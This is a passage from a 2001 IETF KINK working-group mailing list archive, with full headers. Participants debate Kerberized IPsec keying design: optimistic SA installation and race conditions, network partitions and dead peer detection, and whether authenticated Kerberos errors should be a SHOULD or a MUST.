extra packet in case we are not > > using optimistic approach, then you save one extra packet (which can > > be interleaved with the normal data flow anyways, so it just saves > > extra packet, not extra round trip or even half a round trip), but if > > you do not want to have that extra packet then it saves you nothing. > One of the use scenarios is small devices on > bandwidth constrained links -- like, oh say, cell > phones. A third message requires a message of > about 200-500 bytes because of the kerberos > overhead. If we don't need to send it (along with > the unpleasant need to start a timer on the reply > message), the protocol is a lot more compact on > all fronts. Thats why I was saying that do not send that third packet ever, and always to two packets without any optimistic stuff, just install the SAs in the responder when the first packet comes in, and install the SAs in initiator when the responders reply comes in and everything is done. Compact, simple, easy protocol without too mant moving parts that can/will have bugs. -- kivinen@ssh.fi SSH Communications Security http://www.ssh.fi/ SSH IPSEC Toolkit http://www.ssh.fi/ipsec/ From owner-ietf-kink Mon Aug 27 17:31:53 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f7S0VrQ01398 for ietf-kink-bks; Mon, 27 Aug 2001 17:31:53 -0700 (PDT) Received: from sj-msg-core-3.cisco.com (sj-msg-core-3.cisco.com [171.70.157.152]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f7S0VqD01390 for ; Mon, 27 Aug 2001 17:31:52 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-3.cisco.com (8.11.3/8.9.1) with ESMTP id f7S0TgV14845; Mon, 27 Aug 2001 17:29:42 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAO01284; Mon, 27 Aug 2001 17:31:34 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id RAA21633; Mon, 27 Aug 2001 17:31:33 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15242.58981.828071.835510@thomasm-u1.cisco.com> Date: Mon, 27 Aug 2001 17:31:33 -0700 (PDT) To: Tero Kivinen Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: "optmistic" defined In-Reply-To: <15242.49501.376736.125401@ryijy.hel.fi.ssh.com> References: <15240.4760.406579.221374@thomasm-u1.cisco.com> <200108262305.f7QN5gE00696@ryijy.hel.fi.ssh.com> <15241.37998.251319.108961@thomasm-u1.cisco.com> <15242.47971.240014.93323@ryijy.hel.fi.ssh.com> <15242.48405.493383.653660@thomasm-u1.cisco.com> <15242.49501.376736.125401@ryijy.hel.fi.ssh.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Tero Kivinen writes: > The same race condition is also in the IKE but there it is much worse, > and most of the people do not care it less (== i.e they do not use > commit bit). Some of the IPsec implementations already have fix for > this (mostly for IKE), i.e they have small queue for incoming unknown > ESP packets (or actually known SPI, but which do not yet have keying > material). By all means, let's faithfully reproduce IKE, bug for bug. > If I remember correctly somebody also complained that they cannot do > the optimistic apporoac, because they cannot change they keying > material after the SA is installed, thus there must be some way to > disable the optimistic approach. I.e we need yet another knob there to > turn off optimistic approach, and that causes even more complex > protocol. I would like more substantiation of this than an off the cuff comment. I would find it remarkable that a piece of hardware cannot be told to delete a currently existing SA and add another SA which just happens to have the same SPI as the previous. Indeed, I would imagine that such a piece of hardware is not complient with with RFC 2401 since there is no hysteresis with SPI's in the SADB that I'm aware of. > Thats why I was saying that do not send that third packet ever, and > always to two packets without any optimistic stuff, just install the > SAs in the responder when the first packet comes in, and install the > SAs in initiator when the responders reply comes in and everything is > done. This has a built in race condition. > Compact, simple, easy protocol without too mant moving parts > that can/will have bugs. I just implemented this. It was trivial, and I'm not that familiar with the freeswan code, or IKE for that matter. Besides gaining "simplicity" at the cost of incorrect behavior is not a very good design practice. Mike From owner-ietf-kink Mon Sep 3 09:01:12 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f83G1Cl05806 for ietf-kink-bks; Mon, 3 Sep 2001 09:01:12 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f83G1BD05800 for ; Mon, 3 Sep 2001 09:01:11 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f83G1Ip28390; Mon, 3 Sep 2001 09:01:18 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ABB09788; Mon, 3 Sep 2001 09:01:07 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA23673; Mon, 3 Sep 2001 09:01:07 -0700 (PDT) Date: Mon, 3 Sep 2001 09:01:07 -0700 (PDT) Message-Id: <200109031601.JAA23673@thomasm-u1.cisco.com> From: Michael Thomas To: , ietf-kink@vpnc.org Subject: network partitions and DPD X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I had a brief conversation with Bill Sommerfeld at last IETF about his idea of birth certificates for IKE with regards KINK. While the idea has a fairly straightforward solution for KINK (since there's a reliable source of time from the KDC), I realized that birth certificates only catch the case where one of the peers has rebooted. This leaves an important case with no solution. That case is where the two peers are separated for some amount of time by a network partition leaving a pending connection half open. Consider the case where the final reply is lost by the initiator and all subsequent retransmissions fail because of a network partition. This leaves correct state on the respondent and incorrect state on the initiator. If we want to solve for this -- and I think there's good motivation for plugging these sorts of black hole situations in the name of a robust protocol -- I believe that a failed operation must always result in the side perceiving the failure to remove its state for the operation in progress; this is simple enough. The more difficult problem to deal with is what happens on the side if it believes that its side of the connection is fully formed? In the example above, Bob would have both SA's installed and not know that the network had partitioned. In this case, Bob may send to a blackhole at Alice and given current IPsec mechanisms, I don't believe there's a way to recover. One proposal I've heard is that Alice should initiate keying if she sees SPI's from an unknown source. The problem is that Alice does not necessarily have enough information to figure out how to re-create the SA. This is particularly true if there are multiple acceptible forms of identity, different selectors on each end, etc. Thus, it seems to me that the only reasonable thing that Alice can do is send Bob an unauthenticated message giving him a clue that something might be amiss. The natural thing to here is to send some sort of ICMP message, I think. When Bob receives the ICMP message, he doesn't really know for sure that the message wasn't spoofed, but he at least knows how to reinstantiate the SA. What seems like it would be useful is for Bob to try to first see if this was a spoofed attack in the case of IKE (KINK doesn't suffer from the sort of public key make-work DoS attack as IKE, so it's more ignorable). Also, it would be nice if Bob could basically pick up where they left off. That is, if the ISAKMP SA was already established, then it would be advantageous to keep using it if it were a quick mode SA that was half open. At this point, it would seem that Bob should just remove its old SA's, and initiate a fresh one. Since Alice had no state in the first place, I'd think that we'd be back in the ground state, and that we'd be fully recovered by then. What is probably the interesting question is how best to implement the test to check if the ICMP message was legitimate. Also, there's a question in my mind whether there's a need to check other SA's at the same time. This, I think, needs more work. If you made it down here, happy labor day (or end 'o vacation outside NA :-) Mike From owner-ietf-kink Wed Sep 5 20:47:19 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f863lJG13568 for ietf-kink-bks; Wed, 5 Sep 2001 20:47:19 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f863lID13564 for ; Wed, 5 Sep 2001 20:47:18 -0700 (PDT) Received: from mira-sjcm-2.cisco.com (mira-sjcm-2.cisco.com [171.69.24.14]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f863lLx29843; Wed, 5 Sep 2001 20:47:21 -0700 (PDT) Received: from ghuanginspiron (sjc-vpn1-48.cisco.com [10.21.96.48]) by mira-sjcm-2.cisco.com (Mirapoint) with SMTP id AAA21518; Wed, 5 Sep 2001 20:47:15 -0700 (PDT) From: "Geoffrey Huang" To: "Michael Thomas" , , Subject: RE: network partitions and DPD Date: Wed, 5 Sep 2001 20:47:45 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) In-Reply-To: <200109031601.JAA23673@thomasm-u1.cisco.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: > I had a brief conversation with Bill Sommerfeld at > last IETF about his idea of birth certificates for > IKE with regards KINK. While the idea has a fairly > straightforward solution for KINK (since there's a > reliable source of time from the KDC), I realized > that birth certificates only catch the case where > one of the peers has rebooted. This leaves an > important case with no solution. Yes, I've had the same conversation with Bill. I think we agreed that different problems would require different solutions. (This sentiment has been voiced by others -- Tero K. comes to mind at the bakeoff.) I've forgotten, btw, how the birth certificates idea differs from initial contact... > That case is where the two peers are separated for > some amount of time by a network partition leaving > a pending connection half open. Consider the case > where the final reply is lost by the initiator and > all subsequent retransmissions fail because of a > network partition. This leaves correct state on > the respondent and incorrect state on the > initiator. Yes. There's also the case where one of the peer crashes (and doesn't necessarily reboot). > If we want to solve for this -- and I think > there's good motivation for plugging these sorts > of black hole situations in the name of a robust > protocol -- I believe that a failed operation must > always result in the side perceiving the failure > to remove its state for the operation in progress; > this is simple enough. Agreed. This is what we specified in the DPD draft (curiously, you have "DPD" in the subject line, but you make no mention of it in your e-mail at all ;-). > The more difficult problem to deal with is what > happens on the side if it believes that its side > of the connection is fully formed? In the example > above, Bob would have both SA's installed and not > know that the network had partitioned. In this > case, Bob may send to a blackhole at Alice and > given current IPsec mechanisms, I don't believe > there's a way to recover. > > One proposal I've heard is that Alice should > initiate keying if she sees SPI's from an unknown > source. The problem is that Alice does not > necessarily have enough information to figure out > how to re-create the SA. This is particularly true > if there are multiple acceptible forms of > identity, different selectors on each end, etc. > Thus, it seems to me that the only reasonable > thing that Alice can do is send Bob an > unauthenticated message giving him a clue that > something might be amiss. The natural thing to > here is to send some sort of ICMP message, I > think. This assumes that connectivity between Alice and Bob has been restored. In many cases, it won't have been, in which I think DPD is probably the best way to solve the problem. If the case is that Alice has rebooted, and Bob continues to send IPSec traffic, Alice could send an unauthenticated Invalid SPI notify. It's up to Bob what to do at this point: ignore it (it was unprotected), kick off a new IKE SA to Alice, etc. The problem of DoS exists here, of course, which you point out below. -g > When Bob receives the ICMP message, he doesn't > really know for sure that the message wasn't > spoofed, but he at least knows how to > reinstantiate the SA. What seems like it would be > useful is for Bob to try to first see if this was > a spoofed attack in the case of IKE (KINK doesn't > suffer from the sort of public key make-work DoS > attack as IKE, so it's more ignorable). Also, it > would be nice if Bob could basically pick up where > they left off. That is, if the ISAKMP SA was > already established, then it would be advantageous > to keep using it if it were a quick mode SA that > was half open. > > At this point, it would seem that Bob should just > remove its old SA's, and initiate a fresh > one. Since Alice had no state in the first place, > I'd think that we'd be back in the ground state, > and that we'd be fully recovered by then. > > What is probably the interesting question is how > best to implement the test to check if the ICMP > message was legitimate. Also, there's a question > in my mind whether there's a need to check other > SA's at the same time. This, I think, needs more > work. > > If you made it down here, happy labor day (or end > 'o vacation outside NA :-) > > Mike > > > From owner-ietf-kink Thu Sep 13 16:26:01 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f8DNQ1W12994 for ietf-kink-bks; Thu, 13 Sep 2001 16:26:01 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f8DNQ0D12990 for ; Thu, 13 Sep 2001 16:26:00 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f8DNPwx07609 for ; Thu, 13 Sep 2001 16:25:58 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ABU21927; Thu, 13 Sep 2001 16:25:56 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id QAA27113; Thu, 13 Sep 2001 16:25:56 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15265.16516.101400.40925@thomasm-u1.cisco.com> Date: Thu, 13 Sep 2001 16:25:56 -0700 (PDT) To: ietf-kink@vpnc.org Subject: authenticated kerberos errors X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: The packetcable security spec requires that the receiver generate an authenticator if it is able to do so when it generates a krb-error. The current KINK draft is silent on this matter. I've been looking at the MIT code (5-1.1.1) and it appears that this is something new from the kerb revisions, and that it is not supported. Here's the question: while we should clearly not *disallow* the new authenticator in KINK, it's not very clear to me that KINK should be mandating new features from the kerberos revisions like packetcable does. There's a lot of backward compatibility that we should be wary of, and I'd really hate to see KINK not be able to work with off the shelf and running kerberos code. What do others think? Mike From owner-ietf-kink Tue Sep 18 15:46:56 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f8IMkuo11030 for ietf-kink-bks; Tue, 18 Sep 2001 15:46:56 -0700 (PDT) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f8IMksD11026 for ; Tue, 18 Sep 2001 15:46:54 -0700 (PDT) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f8IMkpC16819; Tue, 18 Sep 2001 15:46:52 -0700 (PDT) Received: from mhur-w2k.cisco.com (sjc-vpn-364.cisco.com [10.21.65.108]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAV51097; Tue, 18 Sep 2001 15:46:49 -0700 (PDT) Message-Id: <4.3.2.7.2.20010918152306.043dffd0@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Tue, 18 Sep 2001 15:46:25 -0700 To: Michael Thomas , ietf-kink@vpnc.org From: Matthew Hur Subject: Re: authenticated kerberos errors In-Reply-To: <15265.16516.101400.40925@thomasm-u1.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: PacketCable requires the use of the encrypted checksum in the error message (not an authenticator). This has been incorporated in the Kerberos revisions for quite some time. Furthermore, it is already supported in some commercial implementations. I think that we should clearly state that authenticated error messages should be used whenever possible. --Matt At 04:25 PM 9/13/2001 -0700, Michael Thomas wrote: >The packetcable security spec requires that the >receiver generate an authenticator if it is able >to do so when it generates a krb-error. The >current KINK draft is silent on this matter. I've >been looking at the MIT code (5-1.1.1) and it >appears that this is something new from the kerb >revisions, and that it is not supported. > >Here's the question: while we should clearly not >*disallow* the new authenticator in KINK, it's not >very clear to me that KINK should be mandating new >features from the kerberos revisions like >packetcable does. There's a lot of backward >compatibility that we should be wary of, and I'd >really hate to see KINK not be able to work with >off the shelf and running kerberos code. > >What do others think? > > Mike From owner-ietf-kink Wed Sep 19 13:01:27 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f8JK1RM08755 for ietf-kink-bks; Wed, 19 Sep 2001 13:01:27 -0700 (PDT) Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f8JK1PD08751 for ; Wed, 19 Sep 2001 13:01:25 -0700 (PDT) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f8JK1Nc21769; Wed, 19 Sep 2001 13:01:23 -0700 (PDT) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id ACB31725; Wed, 19 Sep 2001 13:01:21 -0700 (PDT) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id NAA28936; Wed, 19 Sep 2001 13:01:20 -0700 (PDT) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15272.63888.656702.915150@thomasm-u1.cisco.com> Date: Wed, 19 Sep 2001 13:01:20 -0700 (PDT) To: Matthew Hur Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: authenticated kerberos errors In-Reply-To: <4.3.2.7.2.20010918152306.043dffd0@mira-sjc5-5.cisco.com> References: <15265.16516.101400.40925@thomasm-u1.cisco.com> <4.3.2.7.2.20010918152306.043dffd0@mira-sjc5-5.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Matthew Hur writes: > > PacketCable requires the use of the encrypted checksum in the error message > (not an authenticator). This has been incorporated in the Kerberos > revisions for quite some time. Furthermore, it is already supported in > some commercial implementations. > > I think that we should clearly state that authenticated error messages > should be used whenever possible. How about just a "SHOULD"? Mike From owner-ietf-kink Wed Sep 19 15:33:42 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f8JMXgx13593 for ietf-kink-bks; Wed, 19 Sep 2001 15:33:42 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f8JMXfD13589 for ; Wed, 19 Sep 2001 15:33:41 -0700 (PDT) Received: from mira-sjc5-5.cisco.com (mira-sjc5-5.cisco.com [171.71.163.22]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f8JMXnA08504; Wed, 19 Sep 2001 15:33:49 -0700 (PDT) Received: from mhur-w2k.cisco.com (sjc-vpn2-45.cisco.com [10.21.112.45]) by mira-sjc5-5.cisco.com (Mirapoint) with ESMTP id AAX02987; Wed, 19 Sep 2001 15:33:35 -0700 (PDT) Message-Id: <4.3.2.7.2.20010919153114.02132c88@mira-sjc5-5.cisco.com> X-Sender: mhur@mira-sjc5-5.cisco.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Wed, 19 Sep 2001 15:33:15 -0700 To: Michael Thomas From: Matthew Hur Subject: Re: authenticated kerberos errors Cc: Michael Thomas , ietf-kink@vpnc.org In-Reply-To: <15272.63888.656702.915150@thomasm-u1.cisco.com> References: <4.3.2.7.2.20010918152306.043dffd0@mira-sjc5-5.cisco.com> <15265.16516.101400.40925@thomasm-u1.cisco.com> <4.3.2.7.2.20010918152306.043dffd0@mira-sjc5-5.cisco.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I feel that this should be a MUST. Whenever possible (meaning, you have a key), the error message should be authenticated. I can think of no good reason that this should be a SHOULD rather than a MUST. --Matt At 01:01 PM 9/19/2001 -0700, Michael Thomas wrote: >Matthew Hur writes: > > > > PacketCable requires the use of the encrypted checksum in the error > message > > (not an authenticator). This has been incorporated in the Kerberos > > revisions for quite some time. Furthermore, it is already supported in > > some commercial implementations. > > > > I think that we should clearly state that authenticated error messages > > should be used whenever possible. > > How about just a "SHOULD"? > > Mike From owner-ietf-kink Wed Sep 19 19:52:29 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id f8K2qTK20057 for ietf-kink-bks; Wed, 19 Sep 2001 19:52:29 -0700 (PDT) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id f8K2qRD20053 for ; Wed, 19 Sep 2001 19:52:27 -0700 (PDT) Received: from sj-msg-av-3.cisco.com (sj-msg-av-3.cisco.com [171.69.2.19]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id f8K2qcA02564; Wed, 19 Sep 2001 19:52:38 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by sj-msg-av-3.cisco.com (8.10.1/8.10.1) with ESMTP id f8K2qPS24460; Wed, 19 Sep 2001 19:52:25 -0700 (PDT) Date: Wed, 19 Sep 2001 19:52:24 -0700 (PDT) From: Jan Vilhuber To: Matthew Hur cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: authenticated kerberos errors In-Reply-To: <4.3.2.7.2.20010919153114.02132c88@mira-sjc5-5.cisco.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I'm a bit divided on this. Generally, it's my (possibly faulty) impression that 'SHOULD's tend to get ignored by a lot of coders. I have seen comments on the ipsec list to the affect that some people code ONLY the MUSTs (why? To save time? I don't have a clue). Also, it's then the SHOULDs that wind up causing interop problems. On the other hand a MUST is a bit strong in this case. You said that a 'few' commercial kerberos implementations support this. That raises the question of how many don't and whether we want to make sure to interoperate with them or not. On the gripping hand, we know from IKE that authenticated messages are a good thing, and we should (must? ;) have as many of them as we can to improve communication between the peers and hence robustness of the protocol... Sigh... I guess I'm just stating fact, and will now fade back into the background, not having shed light on anything. jan On Wed, 19 Sep 2001, Matthew Hur wrote: > > I feel that this should be a MUST. > > Whenever possible (meaning, you have a key), the error message should be > authenticated. I can think of no good reason that this should be a SHOULD > rather than a MUST. > > --Matt > > > At 01:01 PM 9/19/2001 -0700, Michael Thomas wrote: > >Matthew Hur writes: > > > > > > PacketCable requires the use of the encrypted checksum in the error > > message > > > (not an authenticator). This has been incorporated in the Kerberos > > > revisions for quite some time. Furthermore, it is already supported in > > > some commercial implementations. > > > > > > I think that we should clearly state that authenticated error messages > > > should be used whenever possible. > > > > How about just a "SHOULD"? > > > > Mike > -- Jan Vilhuber vilhuber@cisco.com Cisco Systems, San Jose (408) 527-0847 From owner-ietf-kink Mon Nov 19 14:45:14 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAJMjEV28821 for ietf-kink-bks; Mon, 19 Nov 2001 14:45:14 -0800 (PST) Received: from benjamin.ihtfp.org (BENJAMIN.IHTFP.ORG [204.107.200.18]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAJMjC828814 for ; Mon, 19 Nov 2001 14:45:12 -0800 (PST) Received: (from warlord@localhost) by benjamin.ihtfp.org (8.9.3) id RAA14585; Mon, 19 Nov 2001 17:45:07 -0500 To: ietf-kink@vpnc.org Subject: Agenda Items for SLC? From: Derek Atkins Date: 19 Nov 2001 17:45:07 -0500 Message-ID: Lines: 12 X-Mailer: Gnus v5.7/Emacs 20.7 Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: December is quickly approaching. The KINK-WG is meeting Monday monring at 9am. Anybody have specific items for the Agenda? All I've got right now is a Status Update from Mike Thomas. Anything else? -derek -- Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory Member, MIT Student Information Processing Board (SIPB) URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Nov 20 09:38:59 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAKHcxP14360 for ietf-kink-bks; Tue, 20 Nov 2001 09:38:59 -0800 (PST) Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAKHcw814355 for ; Tue, 20 Nov 2001 09:38:58 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fAKHbvE23726; Tue, 20 Nov 2001 09:37:57 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ23864; Tue, 20 Nov 2001 09:34:17 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22448; Tue, 20 Nov 2001 09:34:52 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.37948.204683.346977@thomasm-u1.cisco.com> Date: Tue, 20 Nov 2001 09:34:52 -0800 (PST) To: Derek Atkins Cc: ietf-kink@vpnc.org Subject: Agenda Items for SLC? In-Reply-To: References: X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: I think that we should spend some time talking about the new Son of IKE requirements draft and how we compare. The one thing that jumps out at me is how to deal with vendor and/or ISAKMP extensions. The draft is currently silent about that. Mike Derek Atkins writes: > > December is quickly approaching. The KINK-WG is meeting Monday > monring at 9am. Anybody have specific items for the Agenda? > > All I've got right now is a Status Update from Mike Thomas. > Anything else? > > -derek > -- > Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory > Member, MIT Student Information Processing Board (SIPB) > URL: http://web.mit.edu/warlord/ PP-ASEL-IA N1NWH > warlord@MIT.EDU PGP key available From owner-ietf-kink Tue Nov 20 09:56:10 2001 Received: from localhost (localhost [[UNIX: localhost]]) by above.proper.com (8.11.6/8.11.3) id fAKHuAh15390 for ietf-kink-bks; Tue, 20 Nov 2001 09:56:10 -0800 (PST) Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10]) by above.proper.com (8.11.6/8.11.3) with ESMTP id fAKHu9815385 for ; Tue, 20 Nov 2001 09:56:09 -0800 (PST) Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27]) by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id fAKHtZl27393; Tue, 20 Nov 2001 09:55:35 -0800 (PST) Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53]) by mira-sjc5-7.cisco.com (Mirapoint) with ESMTP id AAJ24433; Tue, 20 Nov 2001 09:54:58 -0800 (PST) Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id JAA22454; Tue, 20 Nov 2001 09:55:34 -0800 (PST) From: Michael Thomas MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15354.39189.845840.644636@thomasm-u1.cisco.com> Date: Tue, 20 Nov 2001 09:55:33 -0800 (PST) To: Derek Atkins Cc: Michael Thomas , ietf-kink@vpnc.org Subject: Re: Agenda Items for SLC? In-Reply-To: References: <15354.37948.204683.346977@thomasm-u1.cisco.com> X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4mu!4x[/Z4t{V}~L]+Sk @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd bUcI'1! Sender: owner-ietf-kink@mail.vpnc.org Precedence: bulk List-Archive: List-Unsubscribe: List-ID: Derek Atkins writes: > 